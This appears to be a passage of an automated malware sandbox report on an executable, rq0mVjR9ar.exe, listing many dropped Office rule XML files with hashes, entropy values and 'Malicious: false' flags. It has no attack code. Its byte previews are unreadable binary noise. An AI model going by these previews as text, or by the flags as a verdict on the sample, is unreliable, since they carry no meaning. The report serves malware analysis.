Preview:	<?xml7Y.}.z.........L..y.w.x..h..QV.fJ.M^'S".2.......R3t..!.`&..rQ...)kR._..r....t...K.rd...cPw.r&..r...mgBDi.Qf.Y...H.Ow.th..%....2.......+-...8k.q...5R,...._@.N..)..F.......#WK-......^.=.Y...6.c3....3h.....A4......O../je>....HL.4.3.GLW......m...)....7.F..nb....e......Rk..S....?.2..I.....\|....[...\|?.<.Ej)..!.4.n8UTH.h.%.0.7.W.....r......]....?.S..U...\.......Z.H..(7..../...b..O...!.}...70z...@...:......W.[.(......l..+.2J.rD.......(..!...R=..`.=.{..h..\|....s..7Y@\.....C.62.g.'...X....ep...qf<S..1'3....M..L..l....-@..v...+..C...}...,U...#LB.ksX.?...C.u;F:..=o...._.t9.u#.....4.a...=.A..,M..T\|..u.............s...s..h....c...P..v6H..9)1.x.Wq.EHm-..5....5$.../..Z.......i..x..t...N..x...` {...<.>....!...snc?...cP...AH.;.3/T.&mbg.O...v9&9?...0"ks....."...b..9o=..p..t)E...{.4?]- ...;.}..z.w........W.4......-.{e..0.C..8_....a.b.....IR....8.5.b..keC..2.....'.......s...%....DF....L.~.i.u.2)....j........4TZ...9.l.G{.}...>..aF..o,.>{.R._.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701051v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.893969088197415
Encrypted:	false
SSDEEP:	48:WBNVDcBNaSZyWZlmOn+K3z900EZi3jD22wv8niD:WloYNElm6+K3BEs3jK2wv8q
MD5:	D0BE485DF5AA1722A270D2ED840E340D
SHA1:	B5682E6DE7CD584274E489BF2AE6840961472983
SHA-256:	4347241EC877ACC10E5C714DAAB415524BE80DEF7FB2D15017911CEC235DCF9F
SHA-512:	BDAE2BBA50BEE51977028FDB0EF818B8653FE69C0CB2A8CEA297F5E48D598AB32FCADB7F335127A99C48EE2EAC25B1349E1942985C567FBF6BE20DEAE513E6F1
Malicious:	false
Preview:	<?xml.C..6..7`...'...O3.....&.....]..M.{#..........u.!...e...Y.i..J..(...:z..i.;..z$..f.a..W]....^.k....C.1.L.....Z.Zp,.a..k.l.?4.O.>.o.......Y...k..Q.$....X..i...W.K...03.f...x......h.Z.B........`..njg....[.u[..W....p...""...' ..+1..[\|.^..........m9...C.c.H...z..8<.7......b\ R..x.V.(V.v......{..`:a. \| :...vI....o>....d..P?..1#.MY=/.....+..E.29.@\c/X@.SH.G....<..2."/nQ.u..Ph...l..Xft..&.An..,3X..?.U._+..'.,.N..dU}...7.(Yc..LO...B..U..U%.!.5y6......V...."..g.3.qH.c.../. ..z..\|.F.>..QB.g.MDMI..+....Ez....]A..).u.2.sbc....M......9..{4....y.Q..dV..t.X..[...a3.k...k..Ql..x.nDE.`NJZ..j...Dg.\|U..<.9.]...h..~.p.$J.1c.B. ....T.fD...pAttk[.g;W.~.QO....O..Q.....46.._....*....~T.o._.....wi{/x.v.BU...{..1.K..H.....\|.V..~....<.-..z..!.q..R..h^.HY.....P.x7XI..c!........x.%.p..u+.:A.^FXZ\|..: .....mP...Q.d....K..0..%..e.T{..P.K...O....#P+.....=T....o7...e..TE..,..X..-8L.i....%Z.C<.l.....1[.7.U....m.G.h&..Xy.?x.bt$>g\.Yz.D.kdc...F.....6.......R;YG...PT.. ...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701100v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.881212406719248
Encrypted:	false
SSDEEP:	24:L2o9rd8Z47FWkj7hE98rh/MuTmIaF+92CUOtdER1I3unkamBHQ4j5xsi+FiTkbD:L2ML7FtXhE98WlA8IL0IjTBHpFG6iD
MD5:	005F1FC51511AA7009F1F1E4289FFF74
SHA1:	C9A71884EC5C9E05F7CEE8960C011DFCFF2327FB
SHA-256:	88256A30C87555C52F90A396BFBC58E0F407580424FA7D5E9799C4606A9A21AE
SHA-512:	4CB7A87DF946119634917BBEE8F26FF2BAF824EF770CF0D6AF3CF20AE99053E0333468E4DDE871D962804C9EE09A9BFFCC0B9C32840401BDC3C4D8731B45C716
Malicious:	false
Preview:	<?xml....)3j./.}..Z..7.l..Xy.sA............/.I..U.Q).9.kr.O..v....%.._...~.1e..aS.."..,...U.........*>....'.....=)R.G._....8.....$u.."h..I........mC..L..2A.8.Eg.dZA....o..P.n....4....e.0.TR#D.}... ox9=...q.?.".?.Ji.....\......?.h.....L..].....u..gz.....9/../..2a.c..O.4j..X...1..L.oN..Y.R5wO].j.Es..O"&..F\|........t.#..}...../.P.....<$..Bf#..]SW.x....yc`@.IZ.}....?7=..L...^.......3%..Y...`L)x9.......Y..+...K.h-T3u.!U..y........m.K.1O.EG=..........q&.m...,{..0....f.(`.......D..Gq.?I..Z.......B&.i.\...i.d.Z.7..D7BQ.........X..%.u.......j6....t.........a..vb_.i...."d.q.m9:.(......9+ws..HV...w...i.=^.L.w.K..p. k..(.L..kcbJ...=@.=_.y.P....e../...KN.g..!v.(....PKK..G...sJ.faG?.n.D.q...1.'"...C....o... ..K.O....:^.(.\5.#......J..Y..3..W.$S.X......G[a.S..`<.ct.5....Or\|.dN..l..-m=.g.E...g;..q..].T......xzw.......3.G..h0T..J..#..@.r>Y...G;.s.........%...~.`.....,.......Gf................^R...v........7.5...T...>.S......U@C~N.v./..@..y. #.\|\...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701101v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1744
Entropy (8bit):	7.88706681269143
Encrypted:	false
SSDEEP:	48:7X3QPOy8J6kHML3yFyxTUA54KcWMCGdjui8i2qUTfFc2i2aGiD:7+OZJwbouf6djV8i2qKdc95
MD5:	80C007222D935CED169D0F6D8376525A
SHA1:	132D73B7BDB3CD02D55AA340FB7AC71B8D8F9E40
SHA-256:	0502814BEF49A1900D7EF64A37C0EEC67F812A2F00612AA37A765F9DEBED18E4
SHA-512:	7799C17A29825B586CB917FE4DC507CA830572A00A49CB30A50DF24066E732EF12EC437ACE3A518A92628C59C836867495190D22EB12EC491CF1042B57E538DE
Malicious:	false
Preview:	<?xml.I...I.6cd.i..).....CZV.Zz.......I..p.A......-.y.K=I{...lN...!^H......{.(. .~O.'NrX..=..g(....1........3avx'Z.P9....=.%.Y.....D#.C....<].-.P.w..sm.{<."...`...Ec...U. (..!..2.H...0Q.D....Y.W.wF....}x..2k.-VsS.h...1.5&......B.......i.CHh.G.w...C..B.r.83.D.1.#,0h..3...W.....M....... ...Xs..+..'.!.U..M...m.l..xd..`L ..s.m...Q.....4....).2Lm....#K....Jp......19...KB..F....9..fkL.R-."..!.....GG..v..K>...Sq....o.s.vD........<..S..u...XI.#.Jp.5..I...pi.j.s..4 ...I.......0`,..i?.n...p..eu.. ^..HB.]..).ZF.).r>.z.JC..Z..54...?..l....m..RS\|U+&C.X.ooe.[w...x+ra. ;!`.G9.y!.....]..tD)N....2...9....H.p...R.<bo...f....Az.oG..h....&6....6s.~....4..fW...%.-/....j.x8.4`.E....".=.u.P.{(GI[..@L@7.VZR0./_./qyq.^..V..^.]..y.g...Y.k$..... d......h....%...gcxE{..be.u.yT....vs..../...p..Mj.3..!...dAGN..8H.;..v.;...+7$..=E......;n..O..E>...s\.m9h.:...[.v...0..w...(..1..4W....Y.....&.BIV%m...Be@?...WL..&O...1j....'..fmo.B..nx.`E.N....=...l@g.T.T..W.......t.i....I.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701150v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.879140703485743
Encrypted:	false
SSDEEP:	48:hCfe+4GSsblr7X6fsKBZb04sK/0+B+GKgpYE36iD:E23GTblH044sS0gvxlt
MD5:	80F2EA9A88885FB37558994CDDB7A4CA
SHA1:	DD600888588982D2657C75B0FE7041300376E580
SHA-256:	892454E2DE6D1F8C9134BBD117C09D6E67435F14C7603878ABDB70FDAF671C27
SHA-512:	651F4254DCED4C94B03B580003CE7AC153429F818E9FCF7506743145144D24BF51901008663E61D244C4C216F2D97D630885CDC4CE9F197108EEC0904C8FB854
Malicious:	false
Preview:	<?xmlK.<Typ...`.'?DT@!r.x..h8.<N...GQO...u}'.....I@Y...{..1ulp!........0th....$~=..m...x..fN....${".aGB&.o.]ZAQVE...g.k.efs..'...=.)........Yq.{..y..I3.....Az.p..u...?......G..n(.3.>.u.F...db....(.Y..IUG.._.{..,&.8.\|......rs.. .Y..p0Q...q.....1(..L...-\|...c.I...:.c..j....6.d>.[...g.e....R.b..:.E.8.^..M..:-!!.'..3..4.....U.H."...#.(.zo.3>....Y3.O..H>i....YX...5....v...`;H...puo/.1I..)...TME%.m4..K.%`....l.n?.R..B.[...D...H.2...-.Nh......1.&.......Q....N.}'l.G;.....fM?.Z....@.EC...>.j6....J_.........7D..Uo.Q.6.<.=.oHg"......rh...e..R$.A..i._.)X...2...]......7..[.F.i......l7....'.Q....d/Vs......Q.T..X..I..)NB..b...>i/s..a.)......b..%...r.(h.q..q.. C_g.V..f.u.....!./.]yO../j4...Z{..pk..@/m.1k.Pa....j.u...Tx...6.^.....`p.,B.hf:....s.,.T..C..Z(..U...C2<....6.L.....{...j..O.&-.O...[.6......`..q....9..$!.*....y? .]..`...B.(;..>...._ZUn..x.Z%....KQ..K.y......c ..g......X&....o...j.x.n.e.\.=.eI....\$#.K...T..:...-$.6._)......&.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701151v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.890776139806666
Encrypted:	false
SSDEEP:	24:JUmnyoGFv79OGo7hxNUR280myl79Zoce7t7Hs8A7SDT95HfCejQgtaLtufJD3Iiq:D27OP7hxNr//lmlnbDTSeBAsfJZiD
MD5:	E8BD2510EB3723A6B970AF265D8C8EF0
SHA1:	D0CB9A864FDB7A62B11C6B641C6E0A2EE4317167
SHA-256:	9ECCF80C8E795956CF42663382A1DB74C87704342FDDCF878946204E96AF2D6F
SHA-512:	1B22B64CAA1202CEDDAE9D5BDBF03B7ED954F38D0F00FA5337082BCAF9968BDF93A8E218F9E274061563B9AA1121696D0B350483417310E6256F580A94461A13
Malicious:	false
Preview:	<?xml..,..&.l.G...@.v\&.J.,.=....y..n..e...e.....@.y.."n..0./....2%...{..<.,e?..>..'?.B..m9.92..X#X......l..rN.~...$J.Ce.JGD..;..2_........W`O.....-%`e.._uW._.x..Z.)...{.C.Z....m..:j/..!.[..L...'.O..3.X;.P...;....g.ds..cr.......F..".vV.../3.6..\|0..\|a@.B.....z..r.}6w.\.5..>.h.&...}R.P.........8._=.Dx6a3.TT..(p..N6....f.Z.;.,.5.?...Xu..l..gU.BH........37..!.......8zq.....}A.Su+.8.gL.w.(=Z..\y>.8..oM..p.0.\|S2...J...9..........I.bEB".k....xd......Qn.....`.`....N...;O5.!f.6.:.3...7....B.5t/.ex...?6xO....u....hAd ~.i..zz`B..>6.8 .....Wd..1S........m..{.f.....zs(a&...O....4..`........Ef.}.m;....%.f.....Rt.p....~U.l.`.......$?..).~.$....,.x...9..Q3/._..=SWv...b."...nr..o...b@$.31..i}.y...O.e..ayd.iMxb.....q",....z.i.%...U..i.. \Em.p..E.,$.8...'..,..S....l....s.2._.....?^+.M..1.....0.......{.H.. ........b..-#\....n..U.4.iP.Lk....!.......P..i...l..y...\.0s./....7...t.4.....d..i].~}Y.S.u...).W].y...&......K..GoC..s..>.!i.V.h......(.._.\...ruoSd....hD..Z..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701200v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.875248725664241
Encrypted:	false
SSDEEP:	24:O3FEw55yqrg0/qy8VyvUOrQ0Z9zVPOXbIvszodh8BJiOQizuPNEsCHMjCfiTkbD:kFEw5cEM0f9OXbGsEdh3ONllHaiD
MD5:	5C0388B10FCF86FE6AC985053A89B524
SHA1:	443168FD98E9A931BCED75310E59BEB56F4368FF
SHA-256:	7EB48CBC1B6AACC4E70A1A62B2E3CCCCCCEC9C94343F18430969600F801AAC1F
SHA-512:	E47D6F2AA47CE27FAB4C57C99252281ED99634DAE9B5550F435F1D72558261B6FD8C552290CD246810296C65851C7950EDE3E9738D5CABD495D5F9A19DADA060
Malicious:	false
Preview:	<?xml.St....c..s.....O.[OH..v...xOB.x.....v....i..lk../HBYX?..+..,..k..&...y._.%4.U...#t.<.}...`.U.ejN.&...ArjAn..8..Qn..............":...E.1.aq.?...9W..ZlC$..7.}...dI....i."#..>{..X....`.y..q..pw..n'.m..g.N...GK...+.D..5u.o....9.vZ..^.w.Ox.~$\a#.[I9v(G,.B....?.A'.......#..AI..Kk....9!...G.)\..d.!.$F..#.IY...D....).{+@2..t.G....#....A._..o..`xx..6t.....-.....D.RoSW.5=A.B...$..\|..D..aN..9....\t......T.i}U+......^)....J;.k.W....G.{..m...%.v..h...m..D....H.^.C..z.a.=..N.<.l......v..i...`E...?.......p..`...~...b..........[.p.V..8.R.4...._%.E.iLK,.@?...G...?}.?T.Y.~...<....(...._.....&....O...Nn..*I.!..:...p...%.D.3(...L.~....v.................v.v......EV..r..A{........Q........\W.=9...nB..g.r.D.1.v.\.Wy.B.z%......=..J.i3..A.....d........9.i.......qo...F.a..)..}.D..9s3...z..Rv.....a.....a...@.@..Y6...J.Cd........q..$r.!....\|.!.jL.X[.rac.`.R.:.....O...........>0x.......lDX.>.$\|>......9......t.G+....H2..+..z......".......d.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701201v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.8953324232650965
Encrypted:	false
SSDEEP:	48:Kc/MpOI7kJYVTEkeq+av8Eq4X6+N6W9042iD:KceXYkefGqyNvh
MD5:	D5B793356F162B52344FF7473B405686
SHA1:	2E8081712479D0EE5D108D422147767CB849DDE6
SHA-256:	4E652642A66A15F3812998EFE28F447048916FF39A5EFB863F181AB7A4985B14
SHA-512:	B92241364FB1D9998321F72D51AD1D1DCFA444B258707308874DA7FF750295AA2BA8A6300C6F0E7124B300506D6952EC1820A03AA67E2DDB14D9FCA36516DB10
Malicious:	false
Preview:	<?xml.R.q.!E.fP.pI..b....L.bIB'..I..O..MVs...{...s.n...Y..6...T.%..\%_.^o.s...6.-..^.C.b6U+.E::.t.'"..z...oH...J...].]...I.?.v[~TV.D(....{...q2....6......O..^.H?E...E...........kB.Z9..Z.k.4...Q.]..nv..c~..[..so.A....`...H....v...u...X..Z.....]......=...W_../nY.$.:/.]."..hIv.9.K:.K)A........O0H...U.I.....4....]..tf.>.n..t.....G....H.!;.....@2w...Hc.)..9I=.s.....[%...?...7.tdzUS.{y..g(eqtZ......a.0..O.G...:...x...3e6..m..yy.+.Y{4(.#..5F@...k.W....^...p....lX....L.<...-R.\...\|$._...4q..8..jc'.=.?........+.0..../..W...E.\"...3z}....5..R..wG.k.'......f$....1...4W.Sjy..<.f..2<Gq%.QX.f...././.iI..8V...".hiH..+.......F....i..]K8.LN.t...+...Q].......@....m..Y.{k.....u....$W~l3....30AO.~}.`n..C.1.......Y#.......hu.......N.................I$%.i\|..e.Q.G..'5L.0..3..1.B....Gu.%{qx.t.......I..V.o\|..9,.Q.6.x.".a..}.!P5...... }......?z....@.Ch4.%..F......U.*..H.,..l`3.....Vjj..H.2..C.3....zx6G.^0..[&.../.'.6...}.2.&.......q....M.,.+y..C.D

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701250v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.88526850765882
Encrypted:	false
SSDEEP:	48:bjIOTdzdnj9YhRhgqXmQ0XNge+opQkaPaXvDwoR0cVViD:/1HnShRjmTXKe+WjaPa0L9
MD5:	7C608312DD9B4AEFCEE3168A4614112B
SHA1:	0A24CEBC7FAC53B2105B2BCCCC9082BB9C6348DA
SHA-256:	098E74445688DAD1F54BFEEE445C9FE27CEFB2F070EB74D600F624BBAB421C75
SHA-512:	E2714E5203DD257DB8AE26A4DDDF3BF3620A4EA1B0646B2415142A750697FBC4A618F3DA2E5EF6C9E6F49AA1048CDCF39391038BDEAB5BF367C9DF479CE5DF88
Malicious:	false
Preview:	<?xmlW\U...k.w/..I..[...8.9D.p...z)C.Y..L]i..Eg.^..<.,y..;..+....K..>...8{.9...?.U..>..2..o.:.......zf...Q.#.jpJ.t..}.....v...9....X\|,.V....x+.V......]......Fq..=K...qC..,.M...Q...V...YH!.1.X...........}.a.>o.9.4./.A`a..I..AegUU0Q_..\.+. ..W.t.....0.h,".\.+....5."+L.=.G.....&A.9..fj7....;.&.....2.@.B....:_,....K.U.hbM..J..H..;.k]Y..[..........\|.U.....I7...(~.1!.B........$..t.....j.Y.C...O.0R.....p..Z.K+d...h.E..`..<.0o.y.Ym.L..0....7..z.!.lpg..\....a...C..t..!.=..s.I]P..{s.z..84..G#......) .....`......1.."....x.).F..4...W1..m?:.R.....~\|1......S...XS./H....[.....M.1..R.V..=.q............M.....,..Y.k.....bG......G...h....J...x:....d....y....\.z.x....e{..p]....@.2.aMF.!......a.(....j5..a.z.i._`..o...C/7x....3f.8........f.>@.....'i...%gC.<.E..[[T.&}.<......h.....%...t...e.^...R.!...a..V._srA.[....z[.../.Ih.S.w..3`...L_.B.c$.u..4U........-..,r...Y..Ee......2H..?.........[S+...o....vsd._q.....m..+.=#y.W!5.........:.8....).z.E.S#.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701251v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.876724715298012
Encrypted:	false
SSDEEP:	48:w8vUIPb5CK7Fmjv0mVpJGIiqQcc48UCqmVTixsniD:nVFfkj/TGyQwEq4ixf
MD5:	B36855D3EC918C7FB22C8F8BDE6F7706
SHA1:	A44FA5066EDBBE456DC5B1B16CAFDDCF97AFEC5E
SHA-256:	D0F2FAB4861DF902B80299E957559CA97EDFC61850141B3983A63059AC4F079D
SHA-512:	B3177C206A3B0814886C01BFA4A50D53734C7A5949AD5A363D5BC082AF3C6B7F284DD674896EEF54327428371024030673B41635E8D3C0F4084130DEFB20F4F9
Malicious:	false
Preview:	<?xml.9.S$~(;...}..X.u.^..M=.0.....1.@ ......]....q....=Lz.J.<.)..-.6A..2....J.1..h......B.B.K<# .)/...U)3...^.4.v....T..$6g....m.9$.#5^./..s..R.%.T...H...)]M...S...}.....}.....kF...dR........i<?tF...i.T.X-c..\|Yr.%d....5....A..4..k..Q5p.Q.O$...~<.bNs.;.1\|.........y.s..g..`.Z`H;n....PA.;..../o.b.#....$..`...P..#..w..D.:..%B(<w..h..c.>.....6...6.T..5.~...[....HAu-}.U.._.;w6..............s..e<.........g..P...T.........pg...T.8.U...3.d.H\...j.&.4.~.LAN..w....P..G0..R......!-..F...u..$......}i$....{.tL.B.....}.e......:..<.\yb..a.R.eI.74.......e....9P..o.O..A.......H.,d..k+..B./. ..s.6.v..J(..^..%.)F.U.#@5........3Q56.<...}..LB:7..$Ah.._I..B;......@....d0u1....M.i5.gK.c..".....}.yZ\|i...rl.".H{.v..$..c.y..a".I..HnF../...*.C.....GaK.&.g.bP...@n.d.QS. ....o9....U.]...[.U..JnY.(m.n..u...s.y.a.......\|.l...KuE.Pqd)..I=}..$..8.R..K..d..Z.._<......Hk...N..%..V.US...v$.%.?..:.;'..(....<...%/..0k.F.!.'X..>...>C.(#n."f..g...}6....a.ep0.4.7F<..C<WJ&%O..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701300v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.891893483023328
Encrypted:	false
SSDEEP:	48:q/puKeDU8barweNhaOdo2L9YhFf/JYzEciD:2uKeDUg6haT6Yho4
MD5:	6129E52DB2ACD61404952B183E768B2D
SHA1:	F0F03B6151D18CD74661714DAF60DEBC31323B50
SHA-256:	576F979759DD260F4766149AB72EA07E79C3383F95A4573A5B949E49200526FD
SHA-512:	86C813C79D4E31BDC1BDC124A8CE8FA2CED053BA9606E3AFF1D87710747F728B8C056D6257741CC7272C6DBDEBA6D65A00CC99C68FA5BC30428DB901B01E8F3D
Malicious:	false
Preview:	<?xml.]O.\|.d...ms5.}IG)......,.v.......1.'.u...V..{...j....-.-......Pgb..t.n.M.....A..z9m\|....$.7h..>..............3"\|.e..^ ...;[...C...Q.c#.7..H.W..+..\|7..}9...W.9......TFi.....x...D..r,......A.'._.a?....hJJ.J.s...1!..?....4_\|F...Lz.......A..s......{[{\SMw...Vo..]}buE.....P.(.5.G[.L.-....6kI."h..42..8...PbH.7dU.&W..^.Q.}.....6.;B.G&.]BN....dT..yc.... b!~...3.M?./W.e....7`.....1.E.m.!r...t)a~0...1.;+........p..U..h..<...p_s..h.d1Aq..(..z...J7......8..T6..f.}...^.b/.8...-..y!.4t.i\|...[./&./....Fa...0.....P..f=..SW\|.x.v.a...,...]...l..9..... #..]..T.-.7.1.~..N.e.......B....[....z.r.Q......../...{.SG...q....:..Qv..2\|A....,TVR.K.P....(.v...?.*.Wn..I..Y.8.......A.......ie...7..m..\|~.@a.9b.k.o...q.:...Q.$..\|.\...e/._.5.Z....m.A.W......+.v....._....2{.1\.._...8jU#..C...9......."....0..t..M0.E._^."..Q.9m.....<Q..X....x.\|.r.w.8e.x...~.Z..KU.82...Y$...m...].....).......:.N[...k......f..2J.....fn:.ap1....}&....k.....<o)..E..L.E.3..es.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701301v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.870017030550907
Encrypted:	false
SSDEEP:	48:pXUvsGCryLvClotD3CAviDhb1scvkSYp1nkfYPkrPsiD:pXOCuLvCOzCn1tvkvvkQP47
MD5:	5801CE72831FAA20935900DF8AAF074F
SHA1:	9E0A6CB1CC1AD34483C6BB56B9354F139CFE102A
SHA-256:	4C114E762A8A048C10F247C3ACA4CD860C4CD70B21D850C2C15510F68D508AFB
SHA-512:	5D28043B5EE5F7BD9156A988D5A5366D33019FC705352A2878D35F82CCCFB74AB4A6D59B5962EFD4B354C7A75AAAA5D20D19BBF0BD696677B2178382D24A2929
Malicious:	false
Preview:	<?xmlY... yC.....D....IjT.7&.:....S%.;...Jn"P.\....=.Df.+6!D....b+...W....,...v^3........B.....S....- t..dh.L.N.T.o..9F.....>..Hq)..d.x0"i..91...%.Q.r.ikP......'....7y..nR....q.W..z7E.$+...)......OC..C4Z.....q.3o.[!.o...k.a.{G.%>.v~.M........],.c...`.-....f..[...b.%k...tv+.......%.C\|I..C....~Tq.t...].3.g..$s......[.....gS.kA.B.cb..Q.?..x.9..j./.&.. ......Y.W....1.)Q.V....f.1..z.n...y.B.$....y..n.py..+........B......V.......?...4Rz..o.>....M..../.'?...G\|b.c..].VR.$q..+.. ..v................`.....".n...F./......F>b....V...M..1.(...GL.$.........\.^.............^i...J.....2...._n\.5....E......[..d2..e.A.G.....$Pkn+..`m..A.=.m\|.0.R..<...k(e..........{hV.v..p....X.O2o.....D.7..h.....%.."G......@......\|o.%\.a..w....Q.....y..^.&.k;.g.k./9..J$.k..!..R>.f.XW.j>....6.WYk.E}...iL8...]..:.'!.......g..)s..m@..A....A.'....Z..5.~k...k....x{.D...Z..N..g^.=..X.....QA.....9.0.>./.#(G.....2...i.^<.$L..C~...#.c..lJ..O.]....kM..<....$-.........&.AA 2....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701350v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1703
Entropy (8bit):	7.888676889575032
Encrypted:	false
SSDEEP:	24:ctM/dC00az6o6rWv9QwnIIJDVCnOtQ7FYA6uAN8BoOd6g5J9a9unce9o/diTkbD:ctM1C00amo6fwIKYOVmHB969unzc0iD
MD5:	27EF8FD8DDCEB37EC68A2B6B19AA3C1A
SHA1:	60C917A265EC326685ACCDFAF983E1C1ED4617FB
SHA-256:	AF184718671C530BFE484A6B37A303E1E887D5EADEDA09245F309E4BFE275409
SHA-512:	05462E8254C5B79EEDCD1B7688F2085113520CBA62330373408447D124DF644FC33195BE4AA8E202C4875BD4ED2CFC755D434E925A97AA3F4F8967B5F42C6B92
Malicious:	false
Preview:	<?xml.>a.cK.Q..-..B....$.\|.4..R...X...<.[.].k.z..Hs....vh....,Z....-b..( .r$..c..k44.M..Gp....;.{.I..zd(igXs......../...G.b;.5......uC.#..g.8b.Fi.T.E.2...%m.qm..i..P\.\sq.N..'.;.64....h9..9...B.@.....%aB........_.i........l(..j2..'...@[8.E..>Y.O..-..u\|.I........j..Q.....Z.A...{..C...........j._"e+g.0.hCJ.....09.o..i...@....Pf..e.u!.o.`...EL.(52.j....{.E.D......0.G..0..ywr?G.x)........`...L.X5w...CEp...~cL.Z^..X.(.g2T...s[5z7",.v#....wb....,.X6....._"...r....0{..:q+...0>...).........".%.-.'..b..D.{.a.a.X..F.l......2.y._......+P.5..........r.>..b.K .HH.U3.#.....Z..Q&.-..Cxx...}........R.....4]5X.T...<w.....7pt..i,h]..,.m.&...&.N8&X.p&..2..9..J.q.pI..w5Z..D8^_O..A.U..0..O... .:..R..h..ti=.......LJ3S.....K........"\|.&k.^.....1..u.....e.....g~^$..J.............>]....g.0.^..=g03j^....mG...KmK...^G...:....1..\|...c..Z.T...&.....l.-."k....,7.....G."...S..../\|}....^.1..76....`....:.&aY.}z.....Q.99..WQ...n....z...-...tNz_../..@T.'...l-s...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701351v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.881507204099503
Encrypted:	false
SSDEEP:	48:AQkElrhJO/ZmxKTpFDLiT3e99Ctxl9JHn8orEViD:1kurhJ5KTp5m3/Hn+E
MD5:	84277C9F7D0497F1356710034D91F69B
SHA1:	7CE654D72E13EF9ADA47248412E269F7A10325DB
SHA-256:	D7F2B6AB3071080AA6E2EE69631055887C32742837B071D28FFE634FED89D253
SHA-512:	DF589F97F5A994E35F1832A6F9969077595CD7BF0182E646CDA18DEFA9800EF6FA2B4AE3B3BE8B608D75FA94020E83D919952A035330B2506CB529267A4F8E72
Malicious:	false
Preview:	<?xml....,....0..0.8.........^X.l...i...t...Y......M7~...(.i\|.....b...].Xp.0...I.kZ..[x=\.......'...f._f.....B...........e.#.l..C.a-..I...9.:dO4..k..D.u...L.n..u.[..Z....$.P.`vE......<.A.J..w.....f8:!H?9..8.-. .[.5}TP.#}V.P.A..2#..#..Ux)\0..DJu.;G..[m.9..f.".t....G.y..k...-G..[............6.q...o.T..\|.!...>.eJsD{...5...$..}0..h.[..7.....B1u.......,.7.....d..C6..s[-...F.....#........en..Pk.4.r.Y...'......... M%.:.W()A.K*Go.o.pek..\ ..x{....(.2.$.....\|.o9.P7....D...&S...T..U).....9...tl.e...-.E.....E...=........-..=....(...8na.a}..5y....T.\|.;.?Yd...=-...y...]zg9.8..T......9) ..y5J.R...E^..su.......g..!.f.g6n...N..Cy.~.#..7.\|K..,...)\|..j ....=....O.k......u.'.O{0L#.h4.~v/..~...L....."..].+.B.5......G.....o.q....4...'.V.$.......l.}@....N.r.M..J< .. h.V...~a..i..jg.ZM.8...9!'F..)L.#.6y?3...c...Kg.V52...Z.V+....a..Gs.H.....pS.RV..Li.G:.\|o`..~.At....M.U.............R=.!.`2+.x..4..?.....3:..o}.F.x..$7Y.Z\|nt.....\..>..P..0...k ......W

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701400v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.896868800400794
Encrypted:	false
SSDEEP:	48:FApitnDzgWpRBSlHXdZFwuhGuPit48lqiD:GAtnQWpzEHBpYuPe48T
MD5:	3C823F1146024A2F94CC34DAE83F4D01
SHA1:	50F4D3B7171F3DAABCE2627A75186CEEA0DF01F5
SHA-256:	C46470CD139A00143A17DA8C5C12C579D0899EE8C3309BAC8E6B94968C9633E0
SHA-512:	3078C866F110732860C03352261700AD688BEDF73A90AB56E58AD8CDECDB44576E8E3841F7F6E1B144DA8FF0ED41D48F434BF6E559628AAFC6E69D48858CB210
Malicious:	false
